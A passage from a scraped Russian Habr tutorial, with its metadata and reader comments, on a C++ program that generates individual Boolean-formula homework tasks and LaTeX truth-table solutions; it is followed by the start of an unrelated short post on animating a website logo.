href="http://www.boost.org/doc/libs/1_53_0/doc/html/boost_random.html">boost::random</a> – опять же, очень удобно; хоть там и не так уж много чего реализовано, но нам сейчас много и не надо).<br/> <br/> Такую структуру легко будет переиспользовать для формул алгебры множеств (это просто для сравнения, дальше GSet использоваться не будет):<br/> <br/> <div class="spoiler"><b class="spoiler_title">Код на C++</b><div class="spoiler_text"><pre><code class="cpp">Globals GSet(5, { "\\cap", "\\cup", "\\triangle", "\\overline", "\\var" }, { 2, 2, 2, 1, 0 }, 3, { "A", "B", "C" }); </code></pre></div></div><br/> <br/> Теперь создаём класс формулы. Булевская формула – это дерево, листьями которого служат переменные, а внутренними вершинами – логические связки. Мы хотим уметь генерировать формулы заданной глубины, поэтому в конструктор будем передавать, не пора ли сделать этот узел листом или, наоборот, обязательно бинарной связкой. Если нужно создать случайный узел, будем передавать тип g->TypesNo. Если узел оказался листом, ему нужно сгенерировать переменную (чтобы с большой вероятностью переменные попали все, мы просто берём их по кругу – формулы, конечно, не совсем случайные получаются, но это не страшно).<br/> <br/> <div class="spoiler"><b class="spoiler_title">Код на C++</b><div class="spoiler_text"><pre><code class="cpp">class BNode { public: Globals *glob; size_t type; size_t varnum; BNode * left; BNode * right; BNode(Globals *g, size_t t, bool must_be_leaf = false, bool must_not_be_leaf = false, bool must_be_binary = false) : glob(g), type(t), left(NULL), right(NULL) { if (t == g->TypesNo) { // this means we want a random node type = must_be_leaf ? g->VarType : (must_be_binary ? g->RandomNodeBinary(gen) : (must_not_be_leaf ? g->RandomNodeNoVar(gen) : g->RandomNodeType(gen) )); } varnum = (type == g->VarType) ? g->get_next_var() : 0; } ~BNode() { if (left != NULL) delete left; if (right != NULL) delete right; } }; </code></pre></div></div><br/> <br/> Теперь начинаем заполнять класс BNode. Главное для нас – чтобы формула успешно печаталась в LaTeX:<br/> <br/> <div class="spoiler"><b class="spoiler_title">Код на C++</b><div class="spoiler_text"><pre><code class="cpp"> string TypeString() const { if (type == glob->VarType) return glob->VarNames[varnum]; return glob->TypesLatex[type]; } string ToString() const { if (glob->TypesArity[type] == 0) return TypeString(); if (glob->TypesArity[type] == 1) return TypeString() + "{" + left->ToString() + "}"; return "(" + left->ToString() + " " + TypeString() + " " + right->ToString() + ")"; } </code></pre></div></div><br/> <br/> Кроме того, нужно будет уметь подсчитывать значение формулы на заданном наборе переменных:<br/> <br/> <div class="spoiler"><b class="spoiler_title">Код на C++</b><div class="spoiler_text"><pre><code class="cpp"> bool get_truth_value(const vector&lt;bool> &amp; vals) { switch(type) { case 0: return left->get_truth_value(vals) &amp;&amp; right->get_truth_value(vals); break; case 1: return left->get_truth_value(vals) || right->get_truth_value(vals); break; case 2: return (!left->get_truth_value(vals)) || right->get_truth_value(vals); break; case 3: return left->get_truth_value(vals) != right->get_truth_value(vals); break; case 4: return left->get_truth_value(vals) == right->get_truth_value(vals); break; case 5: return !left->get_truth_value(vals); break; case 6: return vals[varnum]; break; default: return false; break; } } </code></pre></div></div><br/> <br/> Оставим пока класс BNode (мы к нему ещё вернёмся); теперь мы можем написать генератор случайной формулы. Будем генерировать формулу с заданной минимальной и максимальной глубиной (для поддержки минимальной глубины мы добавляли раньше в конструктор поле must_not_be_leaf):<br/> <br/> <div class="spoiler"><b class="spoiler_title">Код на C++</b><div class="spoiler_text"><pre><code class="cpp">BNode *generate_tree(Globals &amp; g, size_t min_depth, size_t max_depth, bool must_be_binary = false) { if (max_depth == 0) return NULL; BNode *node = new BNode(&amp;g, g.TypesNo, max_depth == 1, min_depth > 0, must_be_binary); if (g.TypesArity[node->type] == 1) { node->left = generate_tree(g, min_depth, max_depth, true); } if (g.TypesArity[node->type] == 2) { node->left = generate_tree(g, min_depth - 1, max_depth - 1); node->right = generate_tree(g, min_depth - 1, max_depth - 1); } return node; } </code></pre></div></div><br/> <br/> Тут всё самоочевидно; единственное решение, которое я здесь принял – сделал унарные функции (т.е. отрицания) «бесплатными», не считающимися для глубины, иначе формулы получались бы слишком простыми. Кроме того, в булевской формуле логично запретить ставить два отрицания подряд, это бессмысленно; для этого нам и нужен был флаг must_be_binary в конструкторе.<br/> <br/> И можно писать обработчик файла со списком студентов:<br/> <br/> <div class="spoiler"><b class="spoiler_title">Код на C++</b><div class="spoiler_text"><pre><code class="cpp">void process_one_student_file_boolean(string dir, string fname, boost::format &amp; general_tmpl, boost::format &amp; problem_tmpl, boost::format &amp; solution_tmpl) { BNode *node_bool; ostringstream s; vector&lt;string> students = readAllLinesFromFile(dir + "/" + fname + ".txt"); cout &lt;&lt; "\tГруппа " &lt;&lt; fname &lt;&lt; endl; for (size_t i=0; i&lt;students.size(); ++i) { if (students[i].size() == 0) continue; // empty line cout &lt;&lt; "\t\t[ " &lt;&lt; students[i] &lt;&lt; " ]" &lt;&lt; endl; node_bool = generate_tree(GBoolean, 2, 4); string group_string = "$" + fname + "$"; s &lt;&lt; problem_tmpl % students[i] % group_string % node_bool->ToString(); delete node_bool; } ofstream ofs(dir + "/" + fname + ".tex"); ofs &lt;&lt; general_tmpl % s.str() &lt;&lt; endl; ofs.close(); } </code></pre></div></div><br/> <br/> а затем и main, который читает файлы с форматами и процессит файлы со списками студентов:<br/> <br/> <div class="spoiler"><b class="spoiler_title">Код на C++</b><div class="spoiler_text"><pre><code class="cpp">string students_dir = "2013"; vector&lt;string> students_files = { "BoTR" }; int main(int argc, char *argv[]) { boost::format boolean_tpml( read_file_as_string("boolean_problem_minimal.tex") ); boost::format general_tmpl( read_file_as_string("general_template.tex") ); for (size_t i = 0; i &lt; students_files.size(); ++i) { process_one_student_file_boolean(students_dir, students_files[i], general_tmpl, boolean_tpml); } return 0; } </code></pre></div></div><br/> <br/> Но постойте, слышу я голос внимательного читателя. Будет же ерунда получаться – небось, добрая половина так сгенерированных случайных формул окажутся тривиальными! Что верно, то верно – про половину не знаю, но даже одна случайно сгенерированная формула вида \varphi = x изрядно подмочит репутацию нашего метода. Давайте мы научимся это проверять. Для этого мы просто подсчитаем, сколько в формуле встречается связок и разных переменных, и потребуем, чтобы переменные встречались все, а связки – хотя бы две разные. Добавляем в BNode обход формулы:<br/> <br/> <div class="spoiler"><b class="spoiler_title">Код на C++</b><div class="spoiler_text"><pre><code class="cpp"> void depth_first(function&lt;void (const BNode * n)> do_with_node) { do_with_node(this); if (left != NULL) left->depth_first(do_with_node); if (right != NULL) right->depth_first(do_with_node); } </code></pre></div></div><br/> <br/> и вписываем проверку формулы на разумность:<br/> <br/> <div class="spoiler"><b class="spoiler_title">Код на C++</b><div class="spoiler_text"><pre><code class="cpp">bool sanity_check(BNode * node) { vector&lt;bool> vars_present(node->glob->VarsNo, false); vector&lt;bool> connectors_present(node->glob->TypesNo, false); node->depth_first([&amp;] (const BNode * n) { if (n->type == n->glob->VarType) { vars_present[ n->varnum ] = true; } else { connectors_present[ n->type ] = true; } }); return all_of( vars_present.begin(), vars_present.end(), [](bool b) {return b;} ) &amp;&amp; (accumulate(connectors_present.begin(), connectors_present.end(), 0) > 2); } </code></pre></div></div><br/> <br/> Можно ещё захотеть проверить, не является ли формула, скажем, всегда истинной, но я этого сознательно решил не делать – если сложная на вид формула вдруг окажется тождественно истинной, тем интереснее будет это задание для студента. А очевидные подформулы типа «x или не x» в нашем генераторе не будут получаться, потому что переменные перебираются по очереди, а не случайно.<br/> <br/> Запуская получившуюся программку на файле со списком студентов, получаем .tex файл со вполне адекватно оформленными заданиями (вот пример <a href="http://logic.pdmi.ras.ru/~sergey/teaching/hsedm13/BoTR.minimal.pdf">pdf, скомпилированного из такого файла</a>).<br/> <br/> <h4>Решения</h4><br/> <br/> Скептически настроенный читатель на этом месте разумно возразит: ну конечно, ты можешь сгенерировать over 9000 разных заданий, но ведь ты замучаешься их потом проверять! И действительно, проверять у каждого студента таблицу истинности – занятие для очень сильных духом людей, к которым я себя не отношу. Поэтому нашу программку надо будет модифицировать так, чтобы она могла облегчить и процесс проверки. Совсем автоматизировать его не получится (студенты всё равно будут сдавать работы, написанные в свободном формате от руки), поэтому достаточно будет просто сделать заранее самую противную часть этой работы.<br/> <br/> Заводим другой LaTeX-шаблон для документа с ответами:<br/> <br/> <div class="spoiler"><b class="spoiler_title">LaTeX-шаблон документа с ответами</b><div class="spoiler_text"><pre><code class="tex">{\footnotesize \subsection*{%1%, группа %2%} Таблица истинности для формулы $%3%$: $$ %4% $$ } \pagebreak </code></pre></div></div><br/> <br/> Я, опять же, ограничусь минимальным примером – давайте просто выведем таблицу истинности. Для этого нужно пройтись по всем возможным значениям переменных, посчитать истинностное значение формулы и красиво оформить результат в TeX'е. Добавляем два метода в класс BNode:<br/> <br/> <div class="spoiler"><b class="spoiler_title">Код на C++</b><div class="spoiler_text"><pre><code class="cpp"> bool increment_counter(vector&lt;bool> &amp; v) { for (int i=v.size()-1; i>=0; --i) { if (!v[i]) { v[i] = true; for (size_t j=i+1; j&lt;v.size(); ++j) v[j] = false; return true; } } return false; } string latex_truthtable() { ostringstream os; vector&lt;bool> counter(glob->VarsNo, false); os &lt;&lt; "\\begin{array}{"; for(size_t i=0; i&lt;counter.size(); ++i) os &lt;&lt; 'c'; os &lt;&lt; "|c}\n"; for(size_t i=0; i&lt;counter.size(); ++i) os &lt;&lt; glob->VarNames[i] &lt;&lt; " &amp; "; os &lt;&lt; " \\\\\\hline\n"; do { for(size_t i=0; i&lt;counter.size(); ++i) os &lt;&lt; counter[i] &lt;&lt; " &amp; "; os &lt;&lt; get_truth_value(counter) &lt;&lt; "\\\\\n"; } while (increment_counter(counter)); os &lt;&lt; "\\end{array}\n"; return os.str(); } </code></pre></div></div><br/> <br/> а затем добавляем это в process_one_student_file_boolean:<br/> <br/> <div class="spoiler"><b class="spoiler_title">Код на C++</b><div class="spoiler_text"><pre><code class="cpp">void process_one_student_file_boolean(string dir, string fname, boost::format &amp; general_tmpl, boost::format &amp; problem_tmpl, boost::format &amp; solution_tmpl) { BNode *node_bool; ostringstream s, ssolution; vector&lt;string> students = readAllLinesFromFile(dir + "/" + fname + ".txt"); cout &lt;&lt; "\tГруппа " &lt;&lt; fname &lt;&lt; endl; for (size_t i=0; i&lt;students.size(); ++i) { if (students[i].size() == 0) continue; // empty line cout &lt;&lt; "\t\t[ " &lt;&lt; students[i] &lt;&lt; " ]" &lt;&lt; endl; do { node_bool = generate_tree(GBoolean, 2, 4); } while (!sanity_check(node_bool)); string group_string = "$" + fname + "$"; s &lt;&lt; problem_tmpl % students[i] % group_string % node_bool->ToString(); ssolution &lt;&lt; solution_tmpl % students[i] % group_string % node_bool->ToString() % node_bool->latex_truthtable(); delete node_bool; } ofstream ofs; open_for_writing(dir + "/" + fname + ".tex", ofs); ofs &lt;&lt; general_tmpl % s.str() &lt;&lt; endl; ofs.close(); open_for_writing(dir + "/" + fname + ".sol.tex", ofs); ofs &lt;&lt; general_tmpl % ssolution.str() &lt;&lt; endl; ofs.close(); } string students_dir = "2013"; vector&lt;string> students_files = { "BoTR" }; int main(int argc, char *argv[]) { boost::format boolean_tpml( read_file_as_string("boolean_problem_minimal.tex") ); boost::format solution_tpml( read_file_as_string("boolean_solution_minimal.tex") ); boost::format general_tmpl( read_file_as_string("general_template.tex") ); for (size_t i = 0; i &lt; students_files.size(); ++i) { process_one_student_file_boolean(students_dir, students_files[i], general_tmpl, boolean_tpml, solution_tpml); } return 0; } </code></pre></div></div><br/> <br/> В результате в пару к файлу заданий (<a href="http://logic.pdmi.ras.ru/~sergey/teaching/hsedm13/BoTR.minimal.pdf">пример</a>) получается соответствующий ему файл решений (<a href="http://logic.pdmi.ras.ru/~sergey/teaching/hsedm13/BoTR.minimal.sol.pdf">тот же пример, решения</a>), по которому проверять становится гораздо проще.<br/> <br/> <h4>Заключение</h4><br/> <br/> И вот результат – полдня работы, а на выходе сколько угодно заданий с готовыми ответами, всё красиво оформлено и готово к выдаче студентам. Если интересно, каким получилось реальное задание, <a href="http://logic.pdmi.ras.ru/~sergey/teaching/hsedm13/BoTR.full.pdf">вот пример окончательного результата</a>. Файл с ответами выкладывать не буду, чтобы лишний раз не подсказывать студентам – они сейчас как раз решают это домашнее задание. Думаю, если моё преподавание в ГУ-ВШЭ будет продолжаться, эта программка мне ещё не раз послужит; ближайший шанс её применить – билеты для письменного экзамена в тех же группах.<br/> <br/> P.S. Когда я готовил статью на хабр, я нашёл небольшой баг в своём генераторе формул; но исправлять не стал. Упражнение для внимательного читателя: какие формулы, в которых в принципе ничего плохого нету, мой генератор никогда не сможет породить? (помимо замечания о переборе переменных по порядку, которое я уже делал выше)</div>
Сергей Николенко (snikolenko)
null
null
Сегодня у меня необычный текст, совершенно не связанный с машинным обучением (для новых читателей: этот текст &ndash; часть <a href="http://habrahabr.ru/company/surfingbird/">блога компании Surfingbird</a>, в котором я в течение последнего года рассказывал о разных аппаратах машинного обучения в приложении к рекомендательным системам). В этом посте математической части практически не будет, а будет описание очень простой программки, которую я написал для своих студентов. Вряд ли кто-то узнает для себя из этого поста много содержательно нового, но мне кажется, что некоторую ценность представляет сама идея &ndash; многие люди просто не задумываются о том, что «и так можно». Итак…<br/> <br/>
Сегодня у меня необычный текст, совершенно не связанный с машинным обучением (для новых читателей: этот текст - часть блога компании Surfingbird, в котором я в течение последнего года рассказывал о разных аппаратах машинного обучения в приложении к рекомендательным системам). В этом посте математической части практически не будет, а будет описание очень простой программки, которую я написал для своих студентов. Вряд ли кто-то узнает для себя из этого поста много содержательно нового, но мне кажется, что некоторую ценность представляет сама идея - многие люди просто не задумываются о том, что «и так можно». Итак...
article
1,362,400,337
{ "commentsCount": 35, "favoritesCount": 305, "readingCount": 121495, "score": 50, "votesCount": 64, "votesCountPlus": 57, "votesCountMinus": 7 }
[]
[ "surfingbird", "cpp" ]
[ "develop" ]
[ "дискретная математика", "образование", "студентам" ]
12
tutorial
null
{ "id": [ 5950931, 5950949, 5950993, 5951031, 5951245, 5951277, 5951323, 5951337, 5951353, 5951397, 5951435, 5951497, 5951661, 5951681, 5951695, 5951701, 5951755, 5951769, 5951901, 5952057, 5952087, 5952101, 5952481, 5953259, 5953999, 5954279, 5957691, 5957885, 5958217, 5958223, 5958265, 5958407, 5958409, 5965327, 7708243 ], "parent_id": [ null, 5950931, null, 5950993, 5951031, 5951245, null, 5951323, null, 5951353, null, 5951435, 5951497, 5951435, null, 5951695, null, 5951755, 5951701, null, 5952057, 5952087, 5952057, 5951277, null, null, 5952087, null, 5957885, 5958217, 5958223, 5957691, 5957885, null, null ], "level": [ 0, 1, 0, 1, 2, 3, 0, 1, 0, 1, 0, 1, 2, 1, 0, 1, 0, 1, 2, 0, 1, 2, 1, 4, 0, 0, 2, 0, 1, 2, 3, 3, 1, 0, 0 ], "time_published": [ 1362401391, 1362401622, 1362402008, 1362402263, 1362405325, 1362405681, 1362406295, 1362406473, 1362406708, 1362407021, 1362407663, 1362408701, 1362411365, 1362411626, 1362411790, 1362411878, 1362412466, 1362412701, 1362414024, 1362415922, 1362416260, 1362416378, 1362421764, 1362436411, 1362463364, 1362467001, 1362498688, 1362501330, 1362506688, 1362506779, 1362507402, 1362509436, 1362509460, 1362609184, 1403454952 ], "score": [ 2, 0, 7, 3, 7, 16, 6, 0, 5, 0, 0, 0, 0, 0, 0, 3, 1, 4, 1, 5, 5, 1, 2, 3, 0, 6, 1, 0, 0, 0, 0, 0, 0, 0, 0 ], "votes": [ 2, 2, 11, 3, 7, 24, 6, 0, 5, 0, 0, 0, 0, 0, 0, 3, 1, 4, 1, 5, 5, 1, 2, 3, 2, 6, 1, 0, 0, 0, 0, 0, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">На самом деле есть проекты, которые предоставляют подобную функциональность. Например: <a href=\"http://generatorzadach.blogspot.ru/\">http://generatorzadach.blogspot.ru/</a>. Примеры задач можно посмотреть здесь <a href=\"http://generatorzadach.1gb.ru/sample.pdf\">http://generatorzadach.1gb.ru/sample.pdf</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Мне показалось, что программку такого размера проще самому написать, чем брать чужую и править…<br/>\r\nА править, безусловно, всё равно пришлось бы, вряд ли там были бы ровно те задачки, которые мне нужны.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Первокурсники школы экономики <s>хоббиты</s> знают больше меня. Я половину задач решить не могу. Пошел читать кто такой Зажигалкин, наверное Властелин колец.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Всё польза. :) Полином Жегалкина – это формула в базисе из AND, XOR и 1; в таком базисе получаются обычные многочлены над {0, 1}.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">а, ну теперь всё понятно!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><a href=\"http://cs10265.vkontakte.ru/u96712115/-7/x_8d4571ed.jpg\">не тупи больше</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Может быть, он не захочет писать not(var), поскольку под отрицанием может быть только бинарная операция? must_be_leaf==true для формулы под отрицанием получиться никак не может.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Точно, так и есть.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Супер! Отличники следующего поколения должны не давать списывать, а писать генераторы решений.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">И выкладывать их так, чтобы можно было найти гуглом. Только это должно случиться уже в этом поколении.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Помнится лет 20 назад получили втроем «автомат» за подобный подход к инженерной графике, да ещё на что-то вроде студенческой конференции попали и в сборник какой-то :)<br/>\r\n<br/>\r\nОффтоп: а на каких специальностях проходят дискретку в питерском филиале (это на Печатников же?). Неужели есть айтишные? </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вообще, дискретку проходят не только на айтишных специальностях… но в списке факультетов питерского филиала факультет математики не упоминается.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я в курсе про дискретку, просто синдром дефолтной специальности :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Кажется, это просто экономисты. Занятия, кстати, физически проходят на Ломоносовской, а не на Печатников; там расположена кафедра математики (но факультет математики, действительно, есть только в московской вышке, и там дискретка была бы совсем другого уровня :) ).</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Если ставите цель проконтролировать студентов, не забудьте однозначно идентифицировать пары студент &lt;--> задание. Одна из самых популярных техник сдачи домашних заданий — сдача в наглую чужого (прошлогоднего) варианта.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Посмотрите пример pdf-ки с результатом – там у задания подписано имя конкретного студента.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">У меня одногрупник решением разчетных работ занимался за деньги. Он на Делфи написал програму которая полоснтью Word-документ генерила с написаниеем промежуточного решения по минимизации функций. Так что я бы не сильно рассчитывал на сильное рвение с другой стороны. Если студент недостаточно сильно внутренне мотивирован, то найдет способ не делать самому.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Это уже личное дело каждого. Задача преподавателя не в том, чтобы исключить списывание или аутсорсинг решения, а в том, чтобы воздвигнуть некий ненулевой энергетический барьер на этом пути. Барьер нужен для того, чтобы «путь наименьшего сопротивления» шёл для достаточно большого процента студентов через честное решение. Вдохнуть внутреннюю мотивацию в каждого слушателя я, конечно, не берусь.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Увлекся, проглядел )</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">оффтоп:<br/>\r\nА не посоветуете что можно почитать по дискретке, а то в свое время валял дурака (теперь понял, что нужно учить)?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">От уровня вашего остального образования зависит. Если оно более математическое, то однозначно трёхтомник Шеня и Верещагина (первый и второй тома, каждый примерно до середины). Если не математическое, то, в принципе, любую книжку, где основы дискретки изложены. Мне в подготовке курса очень помогли задачками «Дискретная математика для программистов» Хаггарти и «Дискретная математика и комбинаторика» Андерсона.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Есть еще замечательная «Дискретная математика для инженеров» Кузнецов, Адельсон-Вельский.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Было бы более эффектно, если бы у «папы» и «сына» почерк был разный.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Извините, но по моему заголовок вводит в заблуждение. Речь идет не о Вашем опыте, а о генерации заданий. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Моя любимая дискретная математика! Я бы её сделал обязательной в любом ВУЗе страны, т.к. она здорово организует и развивает логическое мышление.<br/>\r\n<br/>\r\nИ автору спасибо, он, должно быть хороший преподаватель, если так основательно и с любовью к предмету относится. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><a href=\"http://www.ozon.ru/context/detail/id/3510820/\">Ф.А. Новиков «Дискретная математика для программистов»</a>.<br/>\r\nЯ её ещё будучи школьником читал. Уже тогда примерно понятно было что-куда-откуда.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Был бы я Вашим студентом, скомпилил бы уже все готовенькое из статьи и подправил, что бы решало именно мое задание.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не проще ли решить задачи?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну, это менее интересно.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да, но просто «подправить» вряд ли получится, всё равно каждую задачу придётся решать — но на этот раз в общем виде.<br/>\r\nХорошо еще, что во втором задании класс один и тот же. Был бы в одном из вариантов какой-нибудь SM с базисом, состоящим из «функции большинства» — вот бы все посмеялись :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да, отличная книжка.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А я бы за это вам с удовольствием зачёт автоматом поставил.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">О! У <s>дураков</s> нас с тобой мысли сходятся!<br/>\r\nДелаю так задания по информатике для школьников уже пятый год, методика работает, подтверждаю!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Забил в поиске дискретную математику. Нахожу пост. Смотрю программу курса (на фотку внимания не обращаю), вижу «Сергей Николенко». Возвращаюсь в пост. Вижу до боли знакомый аватар. Понимаю окончательно, что ЧГК вездесуще.<br/>\r\nP.S. Поступаю в этом году на ФКН ВШЭ в Москву.</div>" ], "message_markdown": [ "На самом деле есть проекты, которые предоставляют подобную функциональность. Например: http://generatorzadach.blogspot.ru/. Примеры задач можно посмотреть здесь http://generatorzadach.1gb.ru/sample.pdf", "Мне показалось, что программку такого размера проще самому написать, чем брать чужую и править...\nА править, безусловно, всё равно пришлось бы, вряд ли там были бы ровно те задачки, которые мне нужны.", "Первокурсники школы экономики ~~хоббиты~~ знают больше меня. Я половину задач решить не могу. Пошел читать кто такой Зажигалкин, наверное Властелин колец.", "Всё польза. :) Полином Жегалкина – это формула в базисе из AND, XOR и 1; в таком базисе получаются обычные многочлены над {0, 1}.", "а, ну теперь всё понятно!", "не тупи больше", "Может быть, он не захочет писать not(var), поскольку под отрицанием может быть только бинарная операция? must_be_leaf==true для формулы под отрицанием получиться никак не может.", "Точно, так и есть.", "Супер! Отличники следующего поколения должны не давать списывать, а писать генераторы решений.", "И выкладывать их так, чтобы можно было найти гуглом. Только это должно случиться уже в этом поколении.", "Помнится лет 20 назад получили втроем «автомат» за подобный подход к инженерной графике, да ещё на что-то вроде студенческой конференции попали и в сборник какой-то :)\nОффтоп: а на каких специальностях проходят дискретку в питерском филиале (это на Печатников же?). Неужели есть айтишные?", "Вообще, дискретку проходят не только на айтишных специальностях... но в списке факультетов питерского филиала факультет математики не упоминается.", "Я в курсе про дискретку, просто синдром дефолтной специальности :)", "Кажется, это просто экономисты. Занятия, кстати, физически проходят на Ломоносовской, а не на Печатников; там расположена кафедра математики (но факультет математики, действительно, есть только в московской вышке, и там дискретка была бы совсем другого уровня :) ).", "Если ставите цель проконтролировать студентов, не забудьте однозначно идентифицировать пары студент <\\--> задание. Одна из самых популярных техник сдачи домашних заданий — сдача в наглую чужого (прошлогоднего) варианта.", "Посмотрите пример pdf-ки с результатом – там у задания подписано имя конкретного студента.", "У меня одногрупник решением разчетных работ занимался за деньги. Он на Делфи написал програму которая полоснтью Word-документ генерила с написаниеем промежуточного решения по минимизации функций. Так что я бы не сильно рассчитывал на сильное рвение с другой стороны. Если студент недостаточно сильно внутренне мотивирован, то найдет способ не делать самому.", "Это уже личное дело каждого. Задача преподавателя не в том, чтобы исключить списывание или аутсорсинг решения, а в том, чтобы воздвигнуть некий ненулевой энергетический барьер на этом пути. Барьер нужен для того, чтобы «путь наименьшего сопротивления» шёл для достаточно большого процента студентов через честное решение. Вдохнуть внутреннюю мотивацию в каждого слушателя я, конечно, не берусь.", "Увлекся, проглядел )", "оффтоп:\nА не посоветуете что можно почитать по дискретке, а то в свое время валял дурака (теперь понял, что нужно учить)?", "От уровня вашего остального образования зависит. Если оно более математическое, то однозначно трёхтомник Шеня и Верещагина (первый и второй тома, каждый примерно до середины). Если не математическое, то, в принципе, любую книжку, где основы дискретки изложены. Мне в подготовке курса очень помогли задачками «Дискретная математика для программистов» Хаггарти и «Дискретная математика и комбинаторика» Андерсона.", "Спасибо.", "Есть еще замечательная «Дискретная математика для инженеров» Кузнецов, Адельсон-Вельский.", "Было бы более эффектно, если бы у «папы» и «сына» почерк был разный.", "Извините, но по моему заголовок вводит в заблуждение. Речь идет не о Вашем опыте, а о генерации заданий.", "Моя любимая дискретная математика! Я бы её сделал обязательной в любом ВУЗе страны, т.к. она здорово организует и развивает логическое мышление.\nИ автору спасибо, он, должно быть хороший преподаватель, если так основательно и с любовью к предмету относится.", "Ф.А. Новиков «Дискретная математика для программистов».\nЯ её ещё будучи школьником читал. Уже тогда примерно понятно было что-куда-откуда.", "Был бы я Вашим студентом, скомпилил бы уже все готовенькое из статьи и подправил, что бы решало именно мое задание.", "Не проще ли решить задачи?", "Ну, это менее интересно.", "Да, но просто «подправить» вряд ли получится, всё равно каждую задачу придётся решать — но на этот раз в общем виде.\nХорошо еще, что во втором задании класс один и тот же. Был бы в одном из вариантов какой-нибудь SM с базисом, состоящим из «функции большинства» — вот бы все посмеялись :)", "Да, отличная книжка.", "А я бы за это вам с удовольствием зачёт автоматом поставил.", "О! У ~~дураков~~ нас с тобой мысли сходятся!\nДелаю так задания по информатике для школьников уже пятый год, методика работает, подтверждаю!", "Забил в поиске дискретную математику. Нахожу пост. Смотрю программу курса (на фотку внимания не обращаю), вижу «Сергей Николенко». Возвращаюсь в пост. Вижу до боли знакомый аватар. Понимаю окончательно, что ЧГК вездесуще.\nP.S. Поступаю в этом году на ФКН ВШЭ в Москву." ], "author": [ "Андрей (msd)", "Сергей Николенко (snikolenko)", "Вадим Башуров (PapaBubaDiop)", "Сергей Николенко (snikolenko)", "skaurus (Skaurus)", "Сергей Николенко (snikolenko)", "Андрей (Mrrl)", "Сергей Николенко (snikolenko)", "Александр Лурье (aml)", "Андрей (Mrrl)", "Vladimir Chernyshev (VolCh)", "Андрей (Mrrl)", "Vladimir Chernyshev (VolCh)", "Сергей Николенко (snikolenko)", "Дмитрий Гукетлев (Yavanosta)", "Сергей Николенко (snikolenko)", "Petro (stoune)", "Сергей Николенко (snikolenko)", "Дмитрий Гукетлев (Yavanosta)", "Артем (cyber_ua)", "Сергей Николенко (snikolenko)", "Артем (cyber_ua)", "potapuff (potapuff)", "Александр Прохоров (Athari)", "MAXH0 (MAXH0)", "Верещагин Илья (wwakabobik)", "Владимир (icoz)", "Виктор Корейша (Iktash)", "Андрей (Mrrl)", "Виктор Корейша (Iktash)", "Андрей (Mrrl)", "Сергей Николенко (snikolenko)", "Сергей Николенко (snikolenko)", "Михаил Дворкин (darnley)", "Максим Тепленёв (teplenev)" ], "children": [ [ 5950949 ], [], [ 5951031 ], [ 5951245 ], [ 5951277 ], [ 5953259 ], [ 5951337 ], [], [ 5951397 ], [], [ 5951497, 5951681 ], [ 5951661 ], [], [], [ 5951701 ], [ 5951901 ], [ 5951769 ], [], [], [ 5952087, 5952481 ], [ 5952101, 5957691 ], [], [], [], [], [], [ 5958407 ], [ 5958217, 5958409 ], [ 5958223 ], [ 5958265 ], [], [], [], [], [] ] }
188,266
ru
https://habr.com/ru/post/188266/
Анимация логотипа сайта
Читаю книгу Джефа Раскина «Интерфейс» и хочется обсудить идеи, которые приходят во время чтения. Первая идея об анимации на сайтах. Анимация нужна всем элементам, которые что-то делают. Ссылка меняет цвет при наведении, а фотография, которую можно увеличить по клику, даёт знать о себе иконкой, фоном или текстом, в общем анимацией. Анимированный логотип Дропбокса Обратная связь Анимация помогает понять, что можно нажать, а что нет. Лого сайта, всегда ведёт на главную страницу — это все признали, но кто делает анимацию этому жесту? А ведь он один из самых важных. Пользователи постоянно кликают на логотип. Научно: Во время того, как пользователь ведёт курсор к логотипу, в его локусе внимания логотип, не курсор. А как пользователю даётся понять: нажми и попади домой? Курсор меняет свою форму из стрелочки в руку. То есть, только сменив локус, мы можем понять, что что-то изменилось. Люди не хотят менять локус, и это в любом случаи стоит энергии, которую человеческий организм пытается расходовать экономно. > При пристальном сосредоточении внимания все события вне локуса могут игнорироваться или просто оставаться незамеченными. Анимация должна быть направлена на логотип. Пусть он немного пошевелится, немного изменит себя и даст понять пользователю: «Кликай, я что-то могу!» Полезные ссылки: Что такое локус внимания? Рекомендации по проектированию пользовательских интерфейсов (по книге Раскина «Интерфейс»). Часть 1
